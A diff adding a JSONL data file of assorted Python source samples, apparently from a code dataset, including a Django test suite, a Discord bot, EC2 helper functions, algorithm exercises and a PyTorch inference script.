diff --git "a/681.jsonl" "b/681.jsonl" new file mode 100644--- /dev/null +++ "b/681.jsonl" @@ -0,0 +1,678 @@ +{"seq_id":"149886295","text":"\"\"\"empty message\n\nRevision ID: 4e6f542c9d30\nRevises: 566923beeedb\nCreate Date: 2015-03-17 11:57:22.460102\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = '4e6f542c9d30'\ndown_revision = '566923beeedb'\n\nfrom alembic import op\nimport sqlalchemy as sa\n\n\ndef upgrade():\n ### commands auto generated by Alembic - please adjust! ###\n op.add_column('whatsup', sa.Column('pub_date', sa.DateTime(), nullable=True))\n op.add_column('whatsup_comments', sa.Column('pub_date', sa.DateTime(), nullable=True))\n ### end Alembic commands ###\n\n\ndef downgrade():\n ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('whatsup_comments', 'pub_date')\n op.drop_column('whatsup', 'pub_date')\n ### end Alembic commands ###\n","sub_path":"migrations/versions/4e6f542c9d30_.py","file_name":"4e6f542c9d30_.py","file_ext":"py","file_size_in_byte":754,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"232099283","text":"from time import sleep\nfrom django.core.urlresolvers import reverse\nfrom django.test import TestCase\nfrom django.utils import timezone\n\nfrom rango.models import Category, Page\n\n\nclass CategoryMethodTests(TestCase):\n def test_ensure_views_are_positive(self):\n\n \"\"\"\n ensure_views_are_positive should results True for categories where views are zero or positive\n \"\"\"\n cat = Category(name='test', views = -1, likes=0)\n cat.save()\n self.assertEqual((cat.views >= 0), True)\n\n def test_slug_line_creation(self):\n \"\"\"\n slug_line_creation checks to make sure that when we add a category an appropriate slug line is created\n i.e. \"Random Category String\" -> \"random-category-string\"\n \"\"\"\n\n cat = Category(name = 'Random Category String')\n cat.save()\n self.assertEqual(cat.slug, 'random-category-string')\n\nclass IndexViewTests(TestCase):\n def test_index_view_with_no_categories(self):\n \"\"\"\n If no questions exist, an appropriate message should be displayed.\n \"\"\"\n response = self.client.get(reverse('index'))\n self.assertEqual(response.status_code, 200)\n self.assertContains(response, \"There are no categories present.\")\n self.assertQuerysetEqual(response.context['categories'], [])\n\n def test_index_view_with_categories(self):\n \"\"\"\n If no questions exist, an appropriate message should be displayed.\n \"\"\"\n add_cat('test',1,1)\n add_cat('temp',1,1)\n add_cat('tmp',1,1)\n add_cat('tmp test temp',1,1)\n\n response = self.client.get(reverse('index'))\n self.assertEqual(response.status_code, 200)\n self.assertContains(response, \"tmp test temp\")\n\n num_cats = len(response.context['categories'])\n self.assertEqual(num_cats, 4)\n\n def test_to_ensure_if_last_visit_and_first_visit_are_not_future(self):\n cat = add_cat('test',1,1)\n page = Page(title='Google.com', category = cat)\n page.save()\n self.assertEqual((page.first_visit > timezone.now()), False)\n sleep(5)\n page.save()\n self.assertEqual((page.last_visit > timezone.now()), False)\n\n def test_to_insure_if_last_visit_and_first_visit_are_equals_or_in_right_order(self):\n cat = add_cat('test',1,1)\n page = Page(title='Google.com', category = cat)\n page.save()\n #self.assertEqual(page.last_visit == page.first_visit or page.last_visit > page.first_visit, True)\n self.assertEqual(page.last_visit == page.first_visit, True)\n\n sleep(5)\n page.save()\n self.assertEqual(page.last_visit > page.first_visit, True)\n\n\n\"\"\"\n def test_index_view_to_ensure_if_first_visit_is_valid(self):\n cat = add_cat('test',1,1)\n page = add_page(cat, 'Google.com', 'http://www.google.com')\n self.assertEqual((page.first_visit > timezone.now()), False)\n\"\"\"\n\n\ndef add_cat(name, views, likes):\n c = Category.objects.get_or_create(name=name)[0]\n c.views = views\n c.likes = likes\n c.save()\n #print \"Category id: \"+str(c.id)\n return c\n\ndef add_page(category, title, url):\n p = Page.objects.create()\n Page.objects.get_or_create(title=title)[0]\n p.category = category\n p.url = url\n p.save()\n return p\n","sub_path":"rango/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":3346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"450588221","text":"from aiogram.types import Message\nfrom aiogram.types import CallbackQuery\nfrom aiogram.dispatcher.dispatcher import FSMContext\n\nfrom re import match as re_match\n\nfrom keyboards.inline.cancel import calcel_button\nfrom states.fio_state import AuthState\n\nfrom decorators import auth\nfrom loader import dp, sql\n\n\n@dp.message_handler(commands='set_profile', state=None)\n@auth\nasync def set_profile_info(message: Message):\n await AuthState.fio_check.set()\n await message.answer('Введите ваши фамилию имя и отчетсво.\\nВ одну строку, через пробел.', reply_markup=calcel_button)\n\n\n@dp.message_handler(content_types='text', state=AuthState.fio_check)\nasync def set_fio(message: Message, state: FSMContext):\n user_data = message.text.strip().lower()\n user_id = message.chat.id\n\n if user_data and re_match(r'^[А-Яа-я]{2,20} [А-Яа-я]{2,20} [А-Яа-я]{2,20}$', user_data):\n result = sql.update_user_fio(user_id, user_data.title())\n if result:\n await message.answer('Данные успешно обновлены')\n await state.update_data(set_fio_check=1)\n await state.finish()\n\n else:\n keyboard = calcel_button\n await message.answer('Ошибка. Некорректные данные. Попробуйте ввести заново.', reply_markup=keyboard)\n\n\n@dp.callback_query_handler(text='cancel')\nasync def send_cancel(call: CallbackQuery):\n await call.message.edit_reply_markup(reply_markup=None)\n await call.answer('Отменено.\\nНо зачем это делать сейчас?')\n\n\n@dp.callback_query_handler(text='cancel', state=AuthState.fio_check)\nasync def send_cancel(call: CallbackQuery, state: FSMContext):\n await call.message.edit_reply_markup(reply_markup=None)\n\n await state.finish()\n await call.answer('Отменено')","sub_path":"handlers/users/set_profile.py","file_name":"set_profile.py","file_ext":"py","file_size_in_byte":1920,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"386804762","text":"\"\"\"\nHelper functions to achieve certain EC2 related tasks faster.\nFunctions return ec2.Instance instances (Errrrh!) instead of boto3 iterators.\n\nlist of tasks:\n1. get instances of a given module & version;\n2. get instances that match certain filters;\n\nAuthor: lihaomin@tp-link.com.cn\nCopyright: whatever fucks.\n\"\"\"\nimport re\n\nfrom .tags import get_resource_name\n\n\ndef version_cmp(ver1, ver2):\n \"\"\"Compare version numbers.\"\"\"\n arr_ver1 = ver1.split('.')\n arr_ver2 = ver2.split('.')\n len1 = len(arr_ver1)\n len2 = len(arr_ver2)\n # number of comparisons to make:\n cmp_count = min(len1, len2)\n i = 0\n # compare each segment:\n while i < cmp_count:\n try:\n m = int(arr_ver1[i])\n except:\n raise Exception(\n \"Cannot parse segment as integer: %s.\"%(arr_ver1[i])\n )\n try:\n n = int(arr_ver2[i])\n except:\n raise Exception(\n \"Cannot parse segment as integer: %s.\"%(arr_ver2[i])\n )\n if m < n:\n return -1\n if m > n:\n return 1\n i += 1\n # if segments are the same, the longer one wins:\n if len1 < len2:\n return -1\n if len1 > len2:\n return 1\n # otherwise return equal:\n return 0\n\n\ndef name_cmp(x, y):\n \"\"\"Compare instance names.\n \n For modules with +10 instances, string length needs to be considered, \n otherwise 'xxx-9' will be greater than 'xxx-10'.\"\"\"\n len_x = len(x)\n len_y = len(y)\n if len_x < len_y:\n return -1\n if len_x > len_y:\n return 1\n if x < y:\n return -1\n if x > y:\n return 1\n return 0\n\n\ndef to_name_dict(instances):\n \"\"\"Convert instances to a dictionary with their names as keys.\"\"\"\n ret = {}\n for instance in instances:\n name = get_resource_name(instance)\n if name is None:\n raise Exception(\"Instance %s has no 'Name' tag.\"%(instance.id,))\n else:\n ret.update({name: instance})\n return ret\n\n\ndef get_instance_names(instances):\n \"\"\"Return a sorted list of instance names.\"\"\"\n names = [get_resource_name(instance) for instance in instances]\n names.sort(cmp=name_cmp)\n return names\n\n\ndef get_instances_by_filters(ec2res, filters):\n \"\"\"Get instances by simple dict filters.\"\"\"\n boto3filters = []\n for filter_name in filters:\n if type(filters[filter_name]) in (str, int, float, unicode):\n filter_values = [filters[filter_name],]\n else:\n filter_values = filters[filter_name]\n boto3filters.append({\n 'Name': filter_name,\n 'Values': filter_values\n })\n return ec2res.instances.filter(Filters=boto3filters)\n\n\ndef get_module_instances(ec2res, module, version):\n \"\"\"Get instances with names contain '*---*'\"\"\"\n filters = {\n 'tag:Name': \"*-%s-%s-*\"%(module, version),\n 'instance-state-name': ['running', 'stopped', 'pending', 'stopping', 'shutting-down']\n }\n instances = []\n for instance in get_instances_by_filters(ec2res, filters):\n instances.append(instance)\n try:\n instances.sort(cmp=name_cmp, key=lambda x: get_resource_name(x))\n except Exception as ex:\n raise ex\n return instances\n\n\ndef get_instance_module_version(instance):\n # env module version region az number\n p = \"([adeprtuv]+)-([a-zA-Z0-9_]+)-([\\d\\._a-zA-Z]+)-([a-zA-Z\\d]+)-([\\da-zA-Z])-(\\d+)\"\n name = get_resource_name(instance)\n if name is not None:\n m = re.match(p, name)\n if m is not None:\n module = m.groups()[1]\n version = m.groups()[2]\n return (module, version)\n else:\n raise Exception(\"Invalid instance name: %s\"%(name,))\n else:\n raise Exception(\"Instance name tag not found: %s\"%(str(instance.tags,)))\n","sub_path":"PrdDeployer/boto3helper/ec2.py","file_name":"ec2.py","file_ext":"py","file_size_in_byte":3906,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"558449169","text":"import os\nimport sys\nimport zipfile\n\nimport pandas as pd\nfrom text_analytic_tools.common.gensim_utility import CompressedFileReader\n\nroot_folder = os.path.join(os.getcwd().split('welfare_state_analytics')[0], 'welfare_state_analytics')\n\nsys.path = list(set(sys.path + [root_folder]))\n\n\ndef load_index(filename):\n \"\"\"Loads document index as a Pandas dataframe.\n The CSV file is a merge of all datasets CSV files downloaded from RÖD using merge_prot_csv.sh\n The CSV file has meen manually cleaned: \\\"\\\"\\\" => \\\"\\\" and invalid char exists in file (done manually)\n\n Parameters\n ----------\n filename : str\n Name of (cleaned) output from merge_prot_csv.sh\n\n Returns\n -------\n DataFrame\n Document index\n \"\"\"\n meta_columns = [\n \"hangar_id\",\n \"dok_id\",\n \"rm\",\n \"beteckning\",\n \"doktyp\",\n \"typ\",\n \"subtyp\",\n \"tempbeteckning\",\n \"organ\",\n \"mottagare\",\n \"nummer\",\n \"datum\",\n \"systemdatum\",\n \"titel\",\n \"subtitel\",\n \"status\",\n \"relaterat_id\",\n ]\n #\n df = pd.read_csv(filename, header=None, sep=',', quotechar='\"')\n df.columns = meta_columns\n df = df.set_index('dok_id')\n # Update faulty value: G209106\t1978/79\t106\tprot\tprot\tprot\t\t\t\t===>107<===\n # df.set_value('G209106', 'nummer', 106)\n return df\n\n\ndef rename_text_corpus_files(document_index, source_filename, target_filename):\n \"\"\"Renames text files downloaded from RÖD in accordance to names of documents downloaded from KB-LABB.\n The files is renamed to \"prot_YYYYyy_nn.txt\" e.g. \"prot_198990__142.txt\"\n\n Parameters\n ----------\n document_index : DataFrame\n Document index\n source_filename : str\n Source corpus filename\n target_filename : str\n Taret corpus filename\n \"\"\"\n\n def get_rm_tag(rm):\n \"\"\"Returns 'riksmötet' as YYYYyy if rm is yyyy/yyyy else rm\"\"\"\n rm_parts = rm.split(\"/\")\n if len(rm_parts) == 1:\n return rm\n return rm_parts[0] + rm_parts[1][-2:]\n\n reader = CompressedFileReader(source_filename)\n\n with zipfile.ZipFile(target_filename, \"w\") as of:\n for document_name, content in reader:\n doc_id = document_name.split(\".\")[0]\n meta = document_index.loc[doc_id.upper()].to_dict()\n target_name = f'prot_{get_rm_tag(meta[\"rm\"])}__{meta[\"beteckning\"]}.txt'\n of.writestr(target_name, content, zipfile.ZIP_DEFLATED)\n\n print(\"Done!\")\n\n\nif __name__ == \"__main__\":\n\n data_folder = os.path.join(root_folder, 'data/riksdagens_protokoll')\n source_corpus_filename = os.path.join(data_folder, 'prot-1971-2021.text.zip')\n target_corpus_filename = os.path.join(data_folder, 'prot-1971-2021.corpus.txt.zip')\n index_filename = os.path.join(data_folder, 'prot-1971-2021.csv')\n excel_index_filename = os.path.join(data_folder, 'prot-1971-2021.index.xlsx')\n\n document_index = load_index(index_filename)\n\n document_index.to_excel(excel_index_filename)\n\n rename_text_corpus_files(document_index, source_corpus_filename, target_corpus_filename)\n","sub_path":"scripts/riksdagens_protokoll/step.1-compile_corpus/riksdagens_open_data/vault/rename-text-files.py","file_name":"rename-text-files.py","file_ext":"py","file_size_in_byte":3140,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"177089967","text":"\"\"\"\nDefinition of ListNode\nclass ListNode(object):\n def __init__(self, val, next=None):\n self.val = val\n self.next = next\n\"\"\"\n\n\nclass Solution:\n \"\"\"\n @param head: The head of linked list.\n @return: nothing\n \"\"\"\n\n def reorderList(self, head):\n # write your code here\n if not head or not head.next: return\n\n # find mid\n p1 = p2 = head\n while p2.next and p2.next.next:\n p1 = p1.next\n p2 = p2.next.next\n\n # reverse the half after mid\n pre_mid, pre_cur = p1, p1.next\n while pre_cur.next:\n cur = pre_cur.next\n pre_cur.next = cur.next\n cur.next = pre_mid.next\n pre_mid.next = cur\n\n # reorder\n p1, p2 = head, pre_mid.next\n while p1 != pre_mid:\n pre_mid.next = p2.next\n p2.next = p1.next\n p1.next = p2\n p1 = p2.next\n p2 = pre_mid.next\n\n return\n","sub_path":"lintcode/99-reorder-list.py","file_name":"99-reorder-list.py","file_ext":"py","file_size_in_byte":972,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"441147144","text":"from FormigasSolucao import *\n#from past.builtins import xrange #external library\n\ndef CaminhoJulgamento(formigacaminho, pecas):\n ataques = CalculaCustoCaminho(formigacaminho)\n if ataques > pecas:\n return 0\n return 1\n\n\nclass FormigasFeromonio:\n\n def __init__(self, n, evaporacao):\n self.P = evaporacao/100\n self.dimensao = n\n self.Matriz = []\n for i in range(n):\n # Original era 1\n self.Matriz.append([(1000, [])] * n) # Tupla\n\n def __atualizacao__(self, formigueiro):\n self.__evaporacao__()\n self.__deposito__(formigueiro)\n\n def __evaporacao__(self):\n # vetor = list(map(lambda x: x.decisao(feromonio), formigueiro.formigueiro))\n # Experimentar dois maps aninhados\n # Experimentar substituir a matriz pelo retorno do map\n # map(lambda x: (round(i * (1 - self.P), 5) for i in x), self.Matriz) # Test\n map(lambda linha: ( map(lambda tupla: round(tupla[0] * (1 - self.P), 5), linha)), self.Matriz )\n #print(self.Matriz)\n '''for i in self.Matriz:\n i = [round(x * (1 - self.P), 5) for x in i]'''\n\n '''def __evaporacao__(self):\n for i in range(self.dimensao):\n for j in range(self.dimensao):\n self.Matriz[i][j] *= (1 - self.P)'''\n\n def __deposito__(self, formigueiro):\n for i in range(formigueiro.k): # número de formigas\n for j in range(self.dimensao): # n\n # adição\n # para cada coluna, captura a linha armazenada no caminho da formiga para adicionar o feromônio padrão\n # o Lk poderia ser uma heurística de peças se atacando em vez da dimensão\n try:\n # Custo mais fiel\n\n alpha = Porcentagem(self.Matriz[formigueiro.formigueiro[i].caminho[j]][j][1]) # Bom\n betha = 1 - alpha # Ruim\n\n self.Matriz[formigueiro.formigueiro[i].caminho[j]][j][0] += \\\n (formigueiro.formigueiro[i].Q**alpha / CalculaCustoCaminho(formigueiro.formigueiro[i])**betha)\n # Custo mais rápido\n '''self.Matriz[ formigueiro.formigueiro[i].caminho[j] ][j] +=\\\n (formigueiro.formigueiro[i].Q/self.dimensao)'''\n\n except:\n print(\"Uma solução em potencial foi encontrada\\n\")\n FormigasSolucao(formigueiro.formigueiro[i].caminho)\n\n def __CaminhoHistorico__(self, formigacaminho, pecas):\n julgo = CaminhoJulgamento(formigacaminho, pecas)\n for linha in formigacaminho.caminho:\n self.Matriz[linha][formigacaminho.caminho.index(linha)][1].append(julgo)\n","sub_path":"NRainhas_FormigueiroFinal/FormigasFeromonio.py","file_name":"FormigasFeromonio.py","file_ext":"py","file_size_in_byte":2756,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"260620828","text":"numbers = {'01': 'первое',\n'02': 'второе',\n'03': 'третье',\n'04': 'четвертое',\n'05': 'пятое',\n'06': 'шестое',\n'07': 'седьмое',\n'08': 'восьмое',\n'09': 'девятое',\n'10': 'десятое',\n'11': 'одиннадцатое',\n'12': 'двенадцатое',\n'13': 'тринадцатое',\n'14': 'четырнадцатое',\n'15': 'пятнадцатое',\n'16': 'шестнадцатое',\n'17': 'семнадцатое',\n'18': 'восемнадцатое',\n'19': 'девятнадцатое',\n'20': 'двадцатое',\n'21': 'двадцать первое',\n'22': 'двадцать второе',\n'23': 'двадцать третье',\n'24': 'двадцать четвертое',\n'25': 'двадцать пятое',\n'26': 'двадцать шестое',\n'27': 'двадцать седьмое',\n'28': 'двадцать восьмое',\n'29': 'двадцать девятое',\n'30': 'тридцатое',\n'31': 'тридцать первое'}\n\n\ndef number_to_word(x):\n if x in numbers.keys():\n return numbers[str(x)]\n return False\n\n\n\n","sub_path":"numbers.py","file_name":"numbers.py","file_ext":"py","file_size_in_byte":1107,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"24127794","text":"# https://www.hackerrank.com/challenges/taum-and-bday/problem\n\nfor t in range(int(input())):\n\tb,w=input().split()\n\tbc,wc,z=input().split()\n\tbc,wc,z=int(bc),int(wc),int(z)\n\tr=0\n\tif abs(bc-wc)>z:\n\t\tif bc 1:\n\t\t\tdel images[type]\n\t\t\tsession['images_to_edit'] = images\n\n\t\t\treturn redirect(url_for('admin.edit_product_image'))\n\t\t\n\t\telse: \n\t\t\treturn redirect(url_for('main.index'))\n\t\n\t\t\n\treturn render_template('admin/edit_product_image.html', image=image, form=form, type=type, dimension=dimension)\n\t\t\n","sub_path":"app/admin/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4250,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"219956533","text":"import aiohttp\nimport asyncio\nimport collections\nimport enum\nimport itertools\nimport logging\nimport pkgutil\nimport sys\nimport traceback\nfrom discord.ext import commands\nfrom . import config, actions\nfrom .db import storage\nfrom .utils import fake, format\nfrom .context import HouraiContext\n\nlog = logging.getLogger(__name__)\n\n\nclass CounterKeys(enum.Enum):\n MESSAGES_RECIEVED = 0x100 # noqa: E221\n MESSAGES_DELETED = 0x101 # noqa: E221\n MESSAGES_EDITED = 0x102 # noqa: E221\n MEMBERS_JOINED = 0x200 # noqa: E221\n MEMBERS_LEFT = 0x201 # noqa: E221\n MEMBERS_BANNED = 0x202 # noqa: E221\n MEMBERS_UNBANNED = 0x203 # noqa: E221\n MEMBERS_VERIFIED = 0x204 # noqa: E221\n MEMBERS_REJECTED = 0x205 # noqa: E221\n\n def __repr__(self):\n return self.name\n\n\nclass CogLoadError(Exception):\n pass\n\n\nclass CommandInterpreter:\n\n def __init__(self, bot):\n self.bot = bot\n\n async def execute(self, ctx):\n raise NotImplementedError\n\n\nclass CommandExcecutor(CommandInterpreter):\n\n def __init__(self, interpreters):\n self.interpreters = interpreters\n\n async def execute(self, ctx):\n err = errors.CommandNotFound('Command \"{ctx.invoked_with}\" is not found')\n for interpreter in self.interpreters:\n try:\n await interpreter.execute(ctx, self)\n return\n except errors.CommandNotFound:\n pass\n except Exception as e:\n err = e\n break\n ctx.bot.dispatch('command_error', err)\n\n\nclass DefaultCommandInterpreter(CommandInterpreter):\n\n async def execute(self, ctx, executor):\n bot = ctx.bot\n if ctx.command is not None:\n bot.dispatch('command', ctx)\n if await bot.can_run(ctx, call_once=True):\n await ctx.command.invoke(ctx)\n bot.dispatch('command_completion', ctx)\n elif ctx.invoked_with:\n raise errors.CommandNotFound('Command \"{ctx.invoked_with}\" is not found')\n\n\nclass AliasInterpreter(CommandInterpreter):\n pass\n\n\n\nclass Hourai(commands.AutoShardedBot):\n\n def __init__(self, *args, **kwargs):\n self.logger = log\n try:\n self.config = kwargs['config']\n except KeyError:\n raise ValueError(\n '\"config\" must be specified when initialzing Hourai.')\n kwargs.setdefault('command_prefix', self.config.command_prefix)\n # kwargs.setdefault('help_command', HouraiHelpCommand())\n self.storage = kwargs.get('storage') or storage.Storage(self.config)\n super().__init__(*args, **kwargs)\n self.http_session = aiohttp.ClientSession(loop=self.loop)\n self.actions = actions.ActionManager(self)\n\n # Counters\n self.guild_counters = collections.defaultdict(collections.Counter)\n self.channel_counters = collections.defaultdict(collections.Counter)\n self.user_counters = collections.defaultdict(collections.Counter)\n\n def create_storage_session(self):\n return self.storage.create_session()\n\n def run(self, *args, **kwargs):\n try:\n import uvloop\n uvloop.install()\n log.info('uvloop found and installed.')\n except ImportError:\n log.warn('uvloop not found, may not be running at peak '\n 'performance.')\n super().run(*args, **kwargs)\n\n async def start(self, *args, **kwargs):\n await self.storage.init()\n await self.http_session.__aenter__()\n await super().start(*args, **kwargs)\n\n async def close(self):\n await self.http_session.__aexit__()\n await super().close()\n\n async def on_ready(self):\n log.info(f'Bot Ready: {self.user.name} ({self.user.id})')\n\n async def on_message(self, message):\n if message.author.bot:\n return\n await self.process_commands(message)\n\n async def get_prefix(self, message):\n if isinstance(message, fake.FakeMessage):\n return ''\n return await super().get_prefix(message)\n\n def get_context(self, msg, *args, **kwargs):\n if isinstance(msg, fake.FakeMessage):\n msg._state = self._connection\n return super().get_context(msg, cls=HouraiContext, **kwargs)\n\n def get_automated_context(self, **kwargs):\n \"\"\"\n Creates a fake context for automated uses. Mainly used to automatically\n run commands in response to configured triggers.\n \"\"\"\n return self.get_context(fake.FakeMessage(**kwargs))\n\n async def process_commands(self, msg):\n if msg.author.bot:\n return\n\n ctx = await self.get_context(msg)\n\n if ctx.prefix is None:\n return\n\n async with ctx:\n await self.invoke(ctx)\n log.debug(f'Command successfully executed: {msg}')\n\n def add_cog(self, cog):\n super().add_cog(cog)\n log.info(\"Cog {} loaded.\".format(cog.__class__.__name__))\n\n async def on_error(self, event, *args, **kwargs):\n error = f'Exception in event {event} (args={args}, kwargs={kwargs}):'\n self.logger.exception(error)\n _, error, _ = sys.exc_info()\n self.loop.create_task(self.send_owner_error(error))\n\n async def on_command_error(self, ctx, error):\n err_msg = None\n if isinstance(error, commands.CheckFailure):\n err_msg = str(error)\n elif isinstance(error, commands.UserInputError):\n err_msg = (str(error) + '\\n') or ''\n err_msg += f\"Try `~help {ctx.command} for a reference.\"\n elif isinstance(error, commands.CommandInvokeError):\n trace = traceback.format_exception(type(error), error,\n error.__traceback__)\n trace_str = '\\n'.join(trace)\n log.error(f'In {ctx.command.qualified_name}:\\n{trace_str}\\n')\n self.loop.create_task(self.send_owner_error(error))\n err_msg = ('An unexpected error has occured and has been reported.'\n '\\nIf this happens consistently, please consider filing'\n 'a bug:\\n')\n log.debug(error)\n if err_msg:\n await ctx.send(err_msg)\n\n async def send_owner_error(self, error):\n owner = (await self.application_info()).owner\n trace = traceback.format_exception(type(error), error,\n error.__traceback__)\n trace_str = format.multiline_code('\\n'.join(trace))\n await owner.send(trace_str)\n\n async def execute_actions(self, actions):\n tasks = (action.execute(self) for action in actions)\n await asyncio.gather(*tasks)\n\n def load_extension(self, module):\n try:\n super().load_extension(module)\n self.logger.info(f'Loaded extension: {module}')\n except Exception:\n self.logger.exception(f'Failed to load extension: {module}')\n\n def load_all_extensions(self, base_module):\n disabled_extensions = self.get_config_value('disabled_extensions',\n type=tuple, default=())\n modules = pkgutil.iter_modules(base_module.__path__,\n base_module.__name__ + '.')\n for module in modules:\n if module.name not in disabled_extensions:\n self.load_extension(module.name)\n\n def spin_wait_until_ready(self):\n while not self.is_ready():\n pass\n\n def get_all_matching_members(self, user):\n return (m for m in self.get_all_members() if m.id == user.id)\n\n def get_config_value(self, *args, **kwargs):\n return config.get_config_value(self.config, *args, **kwargs)\n\n\nclass HouraiHelpCommand(commands.DefaultHelpCommand):\n\n async def send_bot_help(self, mapping):\n ctx = self.context\n bot = ctx.bot\n\n if bot.description:\n # portion\n self.paginator.add_line(bot.description, empty=True)\n\n self.paginator.add_line('')\n self.paginator.add_line('Available modules:')\n\n no_category = '\\u200b{0.no_category}:'.format(self)\n\n def get_category(command, *, no_category=no_category):\n cog = command.cog\n return cog.qualified_name + ':' if cog is not None else no_category\n filtered = await self.filter_commands(bot.commands, sort=True,\n key=get_category)\n to_iterate = itertools.groupby(filtered, key=get_category)\n\n for category, _ in to_iterate:\n self.paginator.add_line(' ' * 3 + category)\n\n command_name = self.clean_prefix + self.invoked_with\n note = (f\"Type {command_name} module for more info on a module.\\nYou\"\n f\" can also type {command_name} category for more info on a \"\n f\"category.\")\n self.paginator.add_line()\n self.paginator.add_line(note)\n await self.send_pages()\n","sub_path":"hourai/bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":9170,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"241255480","text":"import numpy as np\r\nimport pandas as pd\r\nfrom sklearn.preprocessing import StandardScaler\r\nfrom sklearn.datasets import load_iris\r\ncols = []\r\ndata = pd.read_csv(\"train.csv\")\r\ntime = data['date']\r\ndays = []\r\nhours = []\r\nfor each in time:\r\n date, clock = each.split()\r\n year, month, day = date.split('-')\r\n hour, minute, seconds = clock.split(':')\r\n days.append(int(day))\r\n hours.append(int(hour))\r\ndata.drop(['date'], axis=1, inplace=True)\r\ndata['hour'] = hours\r\ndata['day'] = days\r\ncolumns = data.columns\r\nstd = StandardScaler()\r\ndata = std.fit_transform(data)\r\ndata = pd.DataFrame(data, columns=columns)\r\nlabel = pd.read_csv(\"train_label.csv\")\r\nl = []\r\ndata['label'] = label['label']\r\ndata.to_csv(\"standard_train.csv\")\r\nprint(\"Finished\")\r\nprint(data.shape)\r\n","sub_path":"DataPreprocess/Standard.py","file_name":"Standard.py","file_ext":"py","file_size_in_byte":774,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"334665664","text":"\n\nfrom xai.brain.wordbase.verbs._burgeon import _BURGEON\n\n#calss header\nclass _BURGEONS(_BURGEON, ):\n\tdef __init__(self,): \n\t\t_BURGEON.__init__(self)\n\t\tself.name = \"BURGEONS\"\n\t\tself.specie = 'verbs'\n\t\tself.basic = \"burgeon\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/verbs/_burgeons.py","file_name":"_burgeons.py","file_ext":"py","file_size_in_byte":245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"337187218","text":"def isLeap( year ):\n\tif year <= 6:\n\t\tyear += 2000\n\telse:\n\t\tyear += 1900\n\n\tif not year % 4:\n\t\tif not year % 100 and year % 400:\n\t\t\treturn False\n\t\treturn True\n\treturn False\n\n\nMONTH_DAYS = [\n\t0,\n\t31,\n\t28,\n\t31,\n\t30,\n\t31,\n\t30,\n\t31,\n\t31,\n\t30,\n\t31,\n\t30,\n\t31,\n]\n\n\n\ndef doValidate( test ):\n\tif int( test ) % 11:\n\t\treturn \"NO\"\n\n\tyear = int( test[0:2] )\n\tmonth = int( test[2:4] )\n\tday = int( test[4:6] )\n\tcc = int( test[6:] )\n\n\tif month > 12:\n\t\tmonth -= 50\n\n\tif month < 1 or month > 12:\n\t\treturn \"NO\"\n\n\tif day < 1 or day > 31:\n\t\treturn \"NO\"\n\n\tif isLeap( year ):\n\t\tif month == 2 and day <= 29:\n\t\t\treturn \"YES\"\n\n\tif day > MONTH_DAYS[month]:\n\t\treturn \"NO\"\n\n\treturn \"YES\"\n\ndef validate(test):\n\tret = []\n\tfor t in test:\n\t\tret.append( doValidate( t ) )\n\n\treturn ret\n","sub_path":"d1d2_under_80/BirthNumbersValidator/solve/python/BirthNumbersValidator.py","file_name":"BirthNumbersValidator.py","file_ext":"py","file_size_in_byte":749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"417490252","text":"import os\nimport torch\nimport configs\nfrom model import DetectAngleModel\nimport numpy as np \nfrom PIL import Image\nimport random\nfrom matplotlib import pyplot as plt\nimport time\n\n# device = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n# device = 'cpu'\ndevice = 'cuda:0'\n\nif __name__ == '__main__':\n with torch.no_grad():\n model = DetectAngleModel()\n model.load_state_dict(torch.load('./pths/rotate.pth'))\n # model = model.cuda().half()\n model.to(device)\n model.eval()\n\n for mode in random.sample(('1'), 1):\n time_used = 0\n print('mode ', mode)\n if mode == '1':\n img_mode = 'one'\n elif mode == '2':\n img_mode = 'two'\n elif mode == '3':\n img_mode = 'three'\n img_label_dir = os.path.join(configs.img_rootdir, img_mode, 'Label')\n for root, dirs, files in os.walk(img_label_dir):\n i = 0\n for file in sorted(files)[:800]:\n img_name = file[0: -4]+'.jpg'\n img_dir = os.path.join(configs.img_rootdir, img_mode, 'Image', img_name)\n img = Image.open(img_dir).convert('L')\n img = img.resize((224, 224))\n #plt.imshow(img)\n #plt.show()\n img = np.array(img)\n img = img / 255.\n img = torch.from_numpy(img).float()\n # print(img.dtype)\n img = torch.unsqueeze(img, 0)\n img = torch.unsqueeze(img, 0)\n # img = img.cuda().half()\n # print(img.dtype)\n if i == 0:\n img_ = img\n else:\n img_ = torch.cat((img_, img), 0)\n i += 1\n if i % 800 == 0:\n img = img_.to(device)\n #print(img.shape)\n start_time = time.time()\n output = model(img)\n time_used += time.time()-start_time\n i = 0\n # f.write(str(output)+'\\n')\n # if output[0][0] < output[0][1]:\n # print('image_pred = 1')\n # else:\n # print('image_pred = 0')\n # f.close()\n print('time used ={}'.format(time_used))\n","sub_path":"checks_recognize_v1/img_flip/predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":2344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"302669443","text":"# from 